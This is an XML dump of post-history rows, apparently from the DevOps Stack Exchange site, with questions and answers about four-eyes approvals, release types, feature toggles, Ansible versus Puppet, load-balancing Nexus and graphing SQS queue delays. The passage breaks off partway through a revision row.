  <row Id="1054" PostHistoryTypeId="5" PostId="337" RevisionGUID="01b7dc44-13c2-4f94-8e5b-c299545bfa98" CreationDate="2017-03-05T21:03:29.460" UserId="40" Comment="added 12 characters in body" Text="Michael Grünewald recently posted [this comment][1]:&#xD;&#xA;&#xD;&#xA;&gt; A very important method you do not mention is the “four-eyes principle” which is used in the finance – either as a regulatory obligation or as a safe-guard. In the software industry it is implemented in various ways, as e.g. code reviews but also can be used to validate commands affecting live systems.&#xD;&#xA;&#xD;&#xA;Correct me if I'm wrong, but I was thaught that the &lt;kbd&gt;four-eyes principle&lt;/kbd&gt; is about something that is &quot;approved to happen&quot;, after at least 2 human beings (and/or automated processes) gave their prior blessing. Or to use the (slightly corrected) wording about the **two-(wo)man rule** from [Wikipedia][2]:&#xD;&#xA;&#xD;&#xA;&gt; The two-(mo)man rule is a control mechanism designed to achieve a high level of security for especially critical material or operations. Under this rule all access and actions requires the presence of two authorized people at all times.&#xD;&#xA;&#xD;&#xA;Regulatory obligations are, pretty sure, off topic here, but in the context of &quot;safe-guard&quot;, what are the possible conceptual implementations of this four-eyes principle, which probably could apply to any platform / OS / hardware being used?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/posts/311/timeline#comment_394&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Two-man_rule" ContentLicense="CC BY-SA 3.0" />
  <row Id="1055" PostHistoryTypeId="5" PostId="326" RevisionGUID="f5462d54-d189-4b49-adba-eab6348cda5a" CreationDate="2017-03-05T21:10:50.523" UserId="40" Comment="added 1 character in body" Text="There are software packages that offer a choice between either of those types of releases:&#xD;&#xA;&#xD;&#xA;- a ***Rolling*** release.&#xD;&#xA;- a ***Long Term Support*** (= LTS) release.&#xD;&#xA;&#xD;&#xA;Consider the [available Ubuntu releases][1] as an example of this. And imagine that:&#xD;&#xA;&#xD;&#xA;- some software requires a Linux server,&#xD;&#xA;- whereas the decision is made (for whatever reason) to go for Ubuntu,&#xD;&#xA;- the decision makers do know what these release types actually mean,&#xD;&#xA;- it turns out that any release starting from 16.04 and above will do,&#xD;&#xA;- but whatever release is selected, all Dev / QA / Operational servers must run the very same release.&#xD;&#xA;&#xD;&#xA;**Question**: &#xD;&#xA;&#xD;&#xA;What are the ***criteria*** one should use to decide about which type of release to select?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://releases.ubuntu.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1057" PostHistoryTypeId="2" PostId="351" RevisionGUID="c42917c1-e527-4cb8-842d-50042dd2ecc5" CreationDate="2017-03-05T21:45:03.183" UserId="156" Text="One method of continuous deployment is to decouple deployment from release, i.e. you deploy updates without activating the changes immediately.&#xD;&#xA;&#xD;&#xA;I know that feature toggles can be used for this, but I'm wondering if there are other techniques for &quot;non-features&quot;.&#xD;&#xA;&#xD;&#xA;For example, would you build a feature toggle for a bugfix? Probably not and one could argue that bugfixes should be deployed as soon as possible, because it can only get better. And after a bugfix has been released, I sure don't want to toggle it off anymore.&#xD;&#xA;But is this the case? It might be a risky change that you want to release in a controlled way. And if there *are* unexpected side effects, it's good to be able to roll it back. So, feature flags for every change?&#xD;&#xA;&#xD;&#xA;And what about visual changes? For example, can you implement something like a feature flag in CSS? Does it even make sense?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1058" PostHistoryTypeId="1" PostId="351" RevisionGUID="c42917c1-e527-4cb8-842d-50042dd2ecc5" CreationDate="2017-03-05T21:45:03.183" UserId="156" Text="Which ways are there to decouple deployment from release?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1059" PostHistoryTypeId="3" PostId="351" RevisionGUID="c42917c1-e527-4cb8-842d-50042dd2ecc5" CreationDate="2017-03-05T21:45:03.183" UserId="156" Text="&lt;deployment&gt;&lt;feature-flags&gt;&lt;release-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1060" PostHistoryTypeId="2" PostId="352" RevisionGUID="74f2973e-48cb-4654-a5a8-ead80658def6" CreationDate="2017-03-05T21:58:41.910" UserId="185" Text="There are of course several pro and cons for each of puppet and ansible, and chef, and *add your favorite tool here* as well. So I'll try to stay away from opinion, and share what is great in ansible as a matter of fact.&#xD;&#xA;&#xD;&#xA;The main capability that puts ansible above the others is not having to rely on some custom/additional agent running on the target nodes, instead being founded on ssh connections only. Yes, it still requires an ssh server, python and a bunch of python libraries on the nodes, and if your distro of choice (or, good luck, there are some windows nodes) does not ship with them, it will be a little bit painful to bootstrap, but that's unlikely, and may well even make you think again about your distro.&#xD;&#xA;&#xD;&#xA;That will ease the monitoring, not eat additional resources, not force to to run a daemon as root for all the time, and in general feels better inside the UNIX phylosophy. chef has chef-solo, puppet can be run master-less, but they both work &quot;the other direction&quot;, by cloning and via hooks respectively, while with ansible a merge in the source repository can trigger the deployment in a fashion we all are comfortable with, be it in jenkins, in the git master, or in soem other tool like rundeck for instance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1061" PostHistoryTypeId="2" PostId="353" RevisionGUID="ebe374f6-8cf5-497d-af44-4fc324bbd19a" CreationDate="2017-03-05T22:31:48.897" UserId="228" Text="Until Puppet 4.0 there was no easy way to [orchestrate application][1] spread over multiple servers or services, as it was hard to specifically order actions in Puppet, which was a [design choice][2]. Ansible was better at orchestrating and ordering the steps, especially across multiple servers. That is no longer an issue and so the distinctions are largely preference based.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.puppet.com/pe/latest/app_orchestration_overview.html&#xD;&#xA;  [2]: http://radar.oreilly.com/2015/04/the-puppet-design-philosophy.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="1062" PostHistoryTypeId="5" PostId="353" RevisionGUID="792f94e1-e00e-48cb-ad78-fef04094e335" CreationDate="2017-03-05T22:37:15.510" UserId="228" Comment="added 152 characters in body" Text="Until Puppet 4.0 there was no easy way to [orchestrate application][1] spread over multiple servers or services, as it was hard to specifically order actions in Puppet, which was a [design choice][2]. Ansible was better at orchestrating and ordering the steps, especially across multiple servers. This was especially significant in applications where the wrong order of steps could lead to errors unrecoverable through repetition of those steps until an eventual consistency could be reached.&#xD;&#xA;&#xD;&#xA;That is no longer an issue and so the distinctions are largely preference based.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.puppet.com/pe/latest/app_orchestration_overview.html&#xD;&#xA;  [2]: http://radar.oreilly.com/2015/04/the-puppet-design-philosophy.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="1063" PostHistoryTypeId="2" PostId="354" RevisionGUID="bc0ee732-db53-4d96-8341-345ec7d5cdfd" CreationDate="2017-03-05T23:00:03.710" UserId="185" Text="It is a fashinating question for which real answers may not actually exist; I appreciate that while you tried to keep the question contextualized on the VCS, it naturally scaled by by itself up to infrastructural design and implementation planning.&#xD;&#xA;&#xD;&#xA;Though, it seems many of us are working of this kind of transitioning, which can be exciting, but at the same time so frustrating and painful; and I would like to share my experiences and views, trying not to be padantic, and just because I may not be such a good engineer, also not to be boring.&#xD;&#xA;&#xD;&#xA;*Design*&#xD;&#xA;&#xD;&#xA;Infrastructure and architecture should go together to write a modern software. Tightly coupled, if you want. It might sounds weird to use those words, but we are not certainly talking about code itself here: I mean they must be part of the same blueprint. When the clouds arrived, and people started to write software for them, how many people then realized that by putting the mudballs there, they just would be the same mudballs in a different place(?) Maybe a few forward thinking people could foresee that, and they are likely working in devops today. As devops is just a buzzword with so many differnt meanings for differnt people, I have seen places in which the devops team would sit in every architecture meeting; other places in which is automation only.  To achieve this kind of transformation, we have to fight our way to sit there.&#xD;&#xA;&#xD;&#xA;*Confidence*&#xD;&#xA;&#xD;&#xA;The transition must be kept isolated, in the sense that a consistent cut of history must exist, that provides the transition itself and itself only, without any other change (after several months of preparation). With what confidence one would approve it and push the red button?&#xD;&#xA;&#xD;&#xA;I mean the codebase must change to accomodate the new VCS structure, and it will be very difficult to keep it merged during development. (for this issue there may be facilitating strategies, I'll talk about a common one later, that can help parallelize development a bit).&#xD;&#xA; &#xD;&#xA;Well I bet the only way is with behavioural testing, and the same suite of behaviour tests should be launched to verify the old with new codebase. We are not verifying the application behaves as expected here, but that the transition does not alter the behaviour. Having failing tests may be a good thing! If they continue to fail!&#xD;&#xA;&#xD;&#xA;In fact it is very uncommon for mudballs to be well tested; usually the code is very tighly coupled, and likely, for most legacy code, it was not developed with a test driven approach, not even unit tests.&#xD;&#xA;&#xD;&#xA;If such test code is missing whatsoever, it shall be written first.&#xD;&#xA;&#xD;&#xA;*Strategy*&#xD;&#xA;&#xD;&#xA;Yes, the transition must be kept isolated; but at the same time integrated. I know I may sound crazy here, but I wouldn't find other words to describe how confidence can keep up to business. Very few, if none at all, companies would like to stop development for a big monolitich codebase, to make space for this transition, and we are not making it just happen within a toss of a coin. Maybe hundreds of developers might be continuously contributing to the codebase (I would use the *tampering* word here, from our POV). While our work must address a specific snapshot to provide confidence, we have to keep ourselves rebased (not in a git meaning here), to avoid to fall behind forever. &#xD;&#xA;&#xD;&#xA;The implemenetation strategy in here can give different experiences. A common line of development is to wrap/adapt (exposing endpoints with optionally rearranged schemes) newer implementation branches (well, living in other repositories in this case), when they need to interact with the core. Transitioning with a strategy like this, along with refactoring, can at the same time offer a POC scenario for the VCS transition, and later on a step by step approach. See it like sculpting the ball of mud. Yeah life offers so many funnier things.&#xD;&#xA;&#xD;&#xA;*Technical Debt* &#xD;&#xA;&#xD;&#xA;Business management spheres started to understand technical debt and keep it into consideration. Nope, scratch that, not true. While is it increasigly common to gather measurements and quality data, in terms of static code analysis, code reviewing, behavioural test results, and performance, and generate nice reports and everything... it still remains incredibily difficult to make the business accept a continuous refactoring approach. The *business value* of it. *&quot;We are following an agile process, and this will not bring in any enhancement to the features, wouldn't it?&quot;*. Basically, by doing so they are negating the existence of technical debt.&#xD;&#xA;I see this as the common missing necessary step to be able to start any transition from monilitich to microservices architectures.&#xD;&#xA;&#xD;&#xA;*Reaggregation*&#xD;&#xA;&#xD;&#xA;After all this, you might still want to provide a single repository-like view in which you can build more than one single product. For any reason, ie curr/next release, multibrand, customer builds. Tools like google repo may help in this case. Never used one myself, but I know I'll need one day.&#xD;&#xA;&#xD;&#xA;*Integration testing*&#xD;&#xA;&#xD;&#xA;With microservices, integration testing assumes a different context, of &quot;testing own API&quot;. Higher layers of testing, functional or performance, can and will exists, but do they mean much without proper integration testing? &#xD;&#xA;It would be like having integration testing without unit testing. Of course not. That's why, if you need to git bisect, you will execute it in a microservice repository branch, forget about running that in the mudball repository. &#xD;&#xA;&#xD;&#xA;PS. this is a draft, my English is bad and I'll fix it one day " ContentLicense="CC BY-SA 3.0" />
  <row Id="1064" PostHistoryTypeId="5" PostId="352" RevisionGUID="00ecb295-2f03-43e7-a411-9335edfc07d9" CreationDate="2017-03-05T23:18:27.797" UserId="185" Comment="typos" Text="There are of course several pro and cons for each of puppet and ansible, and chef, and *add your favorite tool here* as well. So I'll try to stay away from opinion, and share what is great in ansible as a matter of fact.&#xD;&#xA;&#xD;&#xA;The main capability that puts ansible above the others is not having to rely on some custom/additional agent running on the target nodes, instead being founded on ssh connections only. Yes, it still requires an ssh server, python and a bunch of python libraries on the nodes, and if your distro of choice (or, good luck, there are some windows nodes) does not ship with them, it will be a little bit painful to bootstrap, but that's unlikely, and may well even make you think again about your distro.&#xD;&#xA;&#xD;&#xA;That will ease the monitoring, not eat additional resources, not force to run a daemon as root for all the time, and in general feels better inside the UNIX phylosophy. Chef has chef-solo, puppet can be run master-less, but they both work &quot;the other direction&quot;, by cloning and via hooks respectively, while with ansible a merge in the source repository can trigger the deployment in a fashion we all are comfortable with, be it in jenkins, in the git master, or in some other tool like rundeck for instance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1065" PostHistoryTypeId="2" PostId="355" RevisionGUID="ab8bedae-1374-43c2-9548-4f29c56fd153" CreationDate="2017-03-05T23:46:21.407" UserId="185" Text="While with monoliths you might be restricted to switches, with microservice architectures, you can split every deployment pool of nodes providing a service (ie. pods). You then activate the deployment of the newly changed product in a subset of pool, and carefully monitor it; you can even choose which amount of the pool to deploy the change to, say for instance, activate the change for 15% of the traffic. You might find the feature called &quot;rolling update&quot; in literature." ContentLicense="CC BY-SA 3.0" />
  <row Id="1066" PostHistoryTypeId="2" PostId="356" RevisionGUID="5f0906bc-22bb-43ed-b8d9-630df16d4e64" CreationDate="2017-03-05T23:51:34.363" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1067" PostHistoryTypeId="1" PostId="356" RevisionGUID="5f0906bc-22bb-43ed-b8d9-630df16d4e64" CreationDate="2017-03-05T23:51:34.363" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1068" PostHistoryTypeId="2" PostId="357" RevisionGUID="423cea01-c7d8-4e2b-86bd-d1400ea3c4c1" CreationDate="2017-03-05T23:51:34.363" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1069" PostHistoryTypeId="1" PostId="357" RevisionGUID="423cea01-c7d8-4e2b-86bd-d1400ea3c4c1" CreationDate="2017-03-05T23:51:34.363" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1070" PostHistoryTypeId="2" PostId="358" RevisionGUID="bf5393d0-006a-4e63-9fbe-e7f9f5dc6711" CreationDate="2017-03-05T23:56:00.480" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1071" PostHistoryTypeId="1" PostId="358" RevisionGUID="bf5393d0-006a-4e63-9fbe-e7f9f5dc6711" CreationDate="2017-03-05T23:56:00.480" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1072" PostHistoryTypeId="2" PostId="359" RevisionGUID="927d0350-265f-43a9-ab2a-95c0f9777df6" CreationDate="2017-03-05T23:56:00.480" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1073" PostHistoryTypeId="1" PostId="359" RevisionGUID="927d0350-265f-43a9-ab2a-95c0f9777df6" CreationDate="2017-03-05T23:56:00.480" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1074" PostHistoryTypeId="2" PostId="360" RevisionGUID="b18fa2bf-42aa-4528-a3a4-49b1ad8fec54" CreationDate="2017-03-05T23:56:56.153" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1075" PostHistoryTypeId="1" PostId="360" RevisionGUID="b18fa2bf-42aa-4528-a3a4-49b1ad8fec54" CreationDate="2017-03-05T23:56:56.153" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1076" PostHistoryTypeId="2" PostId="361" RevisionGUID="a63a6693-594d-4b1a-9608-a40dd6858194" CreationDate="2017-03-05T23:56:56.153" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1077" PostHistoryTypeId="1" PostId="361" RevisionGUID="a63a6693-594d-4b1a-9608-a40dd6858194" CreationDate="2017-03-05T23:56:56.153" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1078" PostHistoryTypeId="2" PostId="362" RevisionGUID="04b6d304-0ba5-40d9-ad2a-4e0ebab3e37c" CreationDate="2017-03-05T23:58:14.677" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1079" PostHistoryTypeId="1" PostId="362" RevisionGUID="04b6d304-0ba5-40d9-ad2a-4e0ebab3e37c" CreationDate="2017-03-05T23:58:14.677" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1080" PostHistoryTypeId="2" PostId="363" RevisionGUID="dec25343-18e5-4b77-a863-6f560c15314b" CreationDate="2017-03-05T23:58:14.677" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1081" PostHistoryTypeId="1" PostId="363" RevisionGUID="dec25343-18e5-4b77-a863-6f560c15314b" CreationDate="2017-03-05T23:58:14.677" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1082" PostHistoryTypeId="2" PostId="364" RevisionGUID="6c32d151-8886-4e46-89b2-7f7a12ab46ea" CreationDate="2017-03-06T00:00:57.957" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1083" PostHistoryTypeId="1" PostId="364" RevisionGUID="6c32d151-8886-4e46-89b2-7f7a12ab46ea" CreationDate="2017-03-06T00:00:57.957" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1084" PostHistoryTypeId="2" PostId="365" RevisionGUID="9fbcc79d-12a6-4c0f-b2f4-b74fa921221e" CreationDate="2017-03-06T00:00:57.957" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1085" PostHistoryTypeId="1" PostId="365" RevisionGUID="9fbcc79d-12a6-4c0f-b2f4-b74fa921221e" CreationDate="2017-03-06T00:00:57.957" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1086" PostHistoryTypeId="2" PostId="366" RevisionGUID="863711ef-8c23-4b86-88a4-13c5a93cf5a4" CreationDate="2017-03-06T00:28:13.010" UserId="185" Text="Load balancing nexus is currently not supported by sonatype, except by putting a nexus instance in front of two with smart-proxying enabled.&#xD;&#xA;&#xD;&#xA;Still, I gave it a shot, by sharing the filesystem with glusterfs for the /storage, and trying to enable stickysessions in the apache loadbalancer config and in nexus config for the UI.&#xD;&#xA;&#xD;&#xA;With the UI I am failing miserably, as it seems the nexus container does not honor the properties for setting the cookie value; using the following configuration at the moment:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;For the storage it seems to work, by limiting to GET and HEAD requests only, still have to try opening to POSTs. I also was unsure about the possible collateral effects of scheduled jobs, so all were disabled in the &quot;secondary&quot; node.&#xD;&#xA;&#xD;&#xA;Has anybody achieved some level of trustworthy configuration for load-balancing nexus? The UI is not actually important to be load-balanced, I would be happy enough with the storage." ContentLicense="CC BY-SA 3.0" />
  <row Id="1087" PostHistoryTypeId="1" PostId="366" RevisionGUID="863711ef-8c23-4b86-88a4-13c5a93cf5a4" CreationDate="2017-03-06T00:28:13.010" UserId="185" Text="Loadbalancing nexus artifact repository" ContentLicense="CC BY-SA 3.0" />
  <row Id="1088" PostHistoryTypeId="3" PostId="366" RevisionGUID="863711ef-8c23-4b86-88a4-13c5a93cf5a4" CreationDate="2017-03-06T00:28:13.010" UserId="185" Text="&lt;nexus&gt;&lt;load-balance&gt;&lt;apache-httpd&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1089" PostHistoryTypeId="2" PostId="367" RevisionGUID="4284c07c-107e-4808-9e7f-9d40885583c9" CreationDate="2017-03-06T00:48:30.470" UserId="154" Text="The above answer covers part of it but misses one of the important elements: convergent design. I wrote some words a while ago about this in the context of Chef at https://coderanger.net/thinking/ but the short version is that a bash script is a set of instructions, while an Ansible playbook (or Chef recipe, Salt state, etc) is a description of desired state. By documenting the state you want rather than the steps you want to take to get there, you can cope with a lot more starting states. This was the heart of Promise Theory as outlined in CFEngine long ago, and a design which we (the config management tools) have all just been copying since.&#xD;&#xA;&#xD;&#xA;tl;dr Ansible code says what you want, bash code says how to do a thing." ContentLicense="CC BY-SA 3.0" />
  <row Id="1090" PostHistoryTypeId="2" PostId="368" RevisionGUID="017ed785-e216-4895-ab51-6599a106a40e" CreationDate="2017-03-06T01:24:54.750" UserId="47" Text="For software in the web app category, depending on you infra/hosting provider such decoupling *might* be possible to switch incoming traffic across (or split it between) different deployed versions of the sw, practically covering any of the changes you mention: bugfixes, visuals, etc. &#xD;&#xA;&#xD;&#xA;Such support would typically not require feature toggles. And it might be applicable regardless of the app being monolithic or split in microservices.&#xD;&#xA;&#xD;&#xA;For example Google's [App Engine][1] Paas offering has support for traffic splitting and migration. &#xD;&#xA;&#xD;&#xA;From [Splitting Traffic][2]:&#xD;&#xA;&#xD;&#xA;&gt; You can use traffic splitting to specify a percentage distribution of&#xD;&#xA;&gt; traffic across two or more of the versions within a service. Splitting&#xD;&#xA;&gt; traffic allows you to conduct [A/B testing][3] between your versions&#xD;&#xA;&gt; and provides control over the pace when rolling out features.&#xD;&#xA;&#xD;&#xA;From [Migrating Traffic][4]:&#xD;&#xA;&#xD;&#xA;&gt; Traffic migration switches the request routing between the versions&#xD;&#xA;&gt; within a service of your application, moving traffic from one or more&#xD;&#xA;&gt; versions to a single new version.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/appengine/&#xD;&#xA;  [2]: https://cloud.google.com/appengine/docs/standard/python/splitting-traffic&#xD;&#xA;  [3]: https://wikipedia.org/wiki/A/B_testing&#xD;&#xA;  [4]: https://cloud.google.com/appengine/docs/standard/python/migrating-traffic" ContentLicense="CC BY-SA 3.0" />
  <row Id="1092" PostHistoryTypeId="2" PostId="369" RevisionGUID="c3fdb882-96b1-4fe1-b3a8-97eaa3491f24" CreationDate="2017-03-06T03:03:09.720" UserId="545" Text="I am curious about the efficacy of using a &quot;hackathon&quot; to focus development early in a new project before moving a more formal DevOps process. Does letting things start out fast and loose to get things going hamper later efforts to add process? If so, how does one weigh the benefits of building that early momentum vs. establishing a good DevOps process?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1093" PostHistoryTypeId="1" PostId="369" RevisionGUID="c3fdb882-96b1-4fe1-b3a8-97eaa3491f24" CreationDate="2017-03-06T03:03:09.720" UserId="545" Text="Usefulness of Hackathons?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1094" PostHistoryTypeId="3" PostId="369" RevisionGUID="c3fdb882-96b1-4fe1-b3a8-97eaa3491f24" CreationDate="2017-03-06T03:03:09.720" UserId="545" Text="&lt;process&gt;&lt;informality&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1095" PostHistoryTypeId="2" PostId="370" RevisionGUID="fdc8d56f-9bbb-4ef9-a94c-cda1903a49af" CreationDate="2017-03-06T03:30:05.070" UserId="36" Text="I am responsible for a set of SQS queue-processing jobs with a scaling policy on the ApproximateNumberOfMessagesVisible CloudWatch metric.  These jobs can fail to keep up with the amount of messages sent for any number of reasons:&#xD;&#xA;&#xD;&#xA;* Service degradation reduces capacity of messages able to be processed.&#xD;&#xA;* AutoScaling max limit reached while queue depth continues to rise.&#xD;&#xA;* S3 Outage impacts other dependent AWS services (AutoScaling service) that the queue processing job uses to keep up with demand.&#xD;&#xA;&#xD;&#xA;When discussing outages with non-technical team members, I would like to communicate specific delays of queue processing that can translate into customer-visible degradations.  How can I do this with SQS queues?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1096" PostHistoryTypeId="1" PostId="370" RevisionGUID="fdc8d56f-9bbb-4ef9-a94c-cda1903a49af" CreationDate="2017-03-06T03:30:05.070" UserId="36" Text="How can I communicate queue-based processing delays to non-technical team members?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1097" PostHistoryTypeId="3" PostId="370" RevisionGUID="fdc8d56f-9bbb-4ef9-a94c-cda1903a49af" CreationDate="2017-03-06T03:30:05.070" UserId="36" Text="&lt;amazon-web-services&gt;&lt;amazon-sqs&gt;&lt;amazon-cloudwatch&gt;&lt;post-mortem&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1098" PostHistoryTypeId="2" PostId="371" RevisionGUID="a08a669e-4d5d-40ac-a6fb-f2395b6b8b01" CreationDate="2017-03-06T03:34:46.890" UserId="36" Text="As with any outage communications, a non-technical reader will be primarily looking to understand:&#xD;&#xA;&#xD;&#xA;* How long was it?&#xD;&#xA;* How bad was it?&#xD;&#xA;&#xD;&#xA;Amazon CloudWatch metrics provides the following [metrics for SQS queues][1] that can help answer these questions:&#xD;&#xA;&#xD;&#xA;* **NumberOfMessagesSent:** The number of messages added to a queue.&#xD;&#xA;* **NumberOfMessagesReceived:** The number of messages returned by calls to the ReceiveMessage API action.&#xD;&#xA;* **ApproximateNumberOfMessagesVisible:** The number of messages available for retrieval from the queue.&#xD;&#xA;&#xD;&#xA;When graphed correctly, these metrics can be powerful visual aides in describing queue processing delays. Here are a couple of examples from an outage I experienced where the job's capacity to process queue messages was severely degraded:&#xD;&#xA;&#xD;&#xA;## NumberOfMessagesSent &amp; NumberOfMessagesReceived &#xD;&#xA;&#xD;&#xA;* **Graph Type:** Line Graph&#xD;&#xA;* **Statistic:** Sum&#xD;&#xA;* **Period:** 5-minutes&#xD;&#xA;&#xD;&#xA;[![NumberOfMessagesSent &amp; NumberOfMessagesReceived][2]][2]&#xD;&#xA;&#xD;&#xA;This graphs the contrast between messages sent and received, which helps isolate which processing component is responsible for the delay. In this graph, the received metric drops dramatically while the sent metric continues on its normal trend, so we can infer that the issue lies in the queue reading component instead of the queue writing component.&#xD;&#xA;&#xD;&#xA;This graph helps answer both &quot;How long was it?&quot; and &quot;How bad was it?&quot;, by showing which processes were impacted over time.&#xD;&#xA;&#xD;&#xA;## NumberOfMessagesReceived &amp; ApproximateNumberOfMessagesVisible&#xD;&#xA;&#xD;&#xA;* **Graph Type:** Stacked Area Graph &#xD;&#xA;* **Statistic:** Sum&#xD;&#xA;* **Period:** 5-minutes&#xD;&#xA;&#xD;&#xA;[![NumberOfMessagesReceived &amp; ApproximateNumberOfMessagesVisible][3]][3]&#xD;&#xA;&#xD;&#xA;This graphs the queue depth on top of messages received, which helps show how far the queue backed up and how it recovered. In this graph, we can see that the queue depth backed up dramatically while the queue reading component was having issues, and began recovering when the queue reading component began reading messages again.&#xD;&#xA;&#xD;&#xA;This graph helps answer both &quot;How long was it?&quot; and &quot;How bad was it?&quot;, by showing how many messages were impacted over time.&#xD;&#xA;  &#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;In both graphs, queue processing can generally be considered healthy when the lines overlap, and unhealthy when the lines diverge.  This is an easy pattern to teach to a non-technical team member, and can help them to quickly dissemenate where and how there are problems when presented with these graphs.&#xD;&#xA;&#xD;&#xA;To further communicate specific points in graphs, you can simply annotate them:&#xD;&#xA;&#xD;&#xA;[![Both previous graphs with annotations.][4]][4]&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;I've formatted these graphs for presentation on StackExchange, so these aren't necessarily how I would present them in an outage post-mortem.  Some additional tips:&#xD;&#xA;&#xD;&#xA;* Label units and axes.  (I have explicitly removed values from the left axis here to obscure them from StackExchange; you'll want to keep them in your post-mortems.)&#xD;&#xA;* Use consistent colors for matching metrics across graphs.  Note that NumberOfMessagesReceived is orange in both graphs; this will help visualize the same metric across different graphs.&#xD;&#xA;* Vertically align graphs that describe similar metrics so that they are easier to compare across time.&#xD;&#xA;* Consider setting up a [CloudWatch Dashboard][5] and giving your non-technical team members [read-only IAM access to CloudWatch][6], so that they can view these graphs any time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/sqs-metricscollected.html&#xD;&#xA;  [2]: https://i.stack.imgur.com/3xFKQ.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/An7Dw.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/kumc6.png&#xD;&#xA;  [5]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/CloudWatch_Dashboards.html&#xD;&#xA;  [6]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/iam-identity-based-access-control-cw.html#read-only-access-example-cw" ContentLicense="CC BY-SA 3.0" />
  <row Id="1099" PostHistoryTypeId="5" PostId="371" RevisionGUID="10494a74-b02e-471f-8502-af18dc58b42a" CreationDate="2017-03-06T04:22:48.447" UserId="36" Comment="added 504 characters in body" Text="As with any outage communications, a non-technical reader will be primarily looking to understand:&#xD;&#xA;&#xD;&#xA;* How long was it?&#xD;&#xA;* How bad was it?&#xD;&#xA;&#xD;&#xA;Amazon CloudWatch metrics provides the following [metrics for SQS queues][1] that can help answer these questions:&#xD;&#xA;&#xD;&#xA;* **NumberOfMessagesSent:** The number of messages added to a queue.&#xD;&#xA;* **NumberOfMessagesReceived:** The number of messages returned by calls to the ReceiveMessage API action.&#xD;&#xA;* **ApproximateNumberOfMessagesVisible:** The number of messages available for retrieval from the queue.&#xD;&#xA;&#xD;&#xA;When graphed correctly, these metrics can be powerful visual aides in describing queue processing delays. Here are a couple of examples from an outage I experienced where the job's capacity to process queue messages was severely degraded:&#xD;&#xA;&#xD;&#xA;## NumberOfMessagesSent &amp; NumberOfMessagesReceived &#xD;&#xA;&#xD;&#xA;* **Graph Type:** Line Graph&#xD;&#xA;* **Statistic:** Sum&#xD;&#xA;* **Period:** 5-minutes&#xD;&#xA;&#xD;&#xA;[![NumberOfMessagesSent &amp; NumberOfMessagesReceived][2]][2]&#xD;&#xA;&#xD;&#xA;This graphs the contrast between messages sent and received, which helps isolate which processing component is responsible for the delay. In this graph, the received metric drops dramatically while the sent metric continues on its normal trend, so we can infer that the issue lies in the queue reading component instead of the queue writing component.&#xD;&#xA;&#xD;&#xA;This graph helps answer both &quot;How long was it?&quot; and &quot;How bad was it?&quot;, by showing which processes were impacted over time.&#xD;&#xA;&#xD;&#xA;## NumberOfMessagesReceived &amp; ApproximateNumberOfMessagesVisible&#xD;&#xA;&#xD;&#xA;* **Graph Type:** Stacked Area Graph &#xD;&#xA;* **Statistic:** Sum&#xD;&#xA;* **Period:** 5-minutes&#xD;&#xA;&#xD;&#xA;[![NumberOfMessagesReceived &amp; ApproximateNumberOfMessagesVisible][3]][3]&#xD;&#xA;&#xD;&#xA;This graphs the queue depth on top of messages received, which helps show how far the queue backed up and how it recovered. In this graph, we can see that the queue depth backed up dramatically while the queue reading component was having issues, and began recovering when the 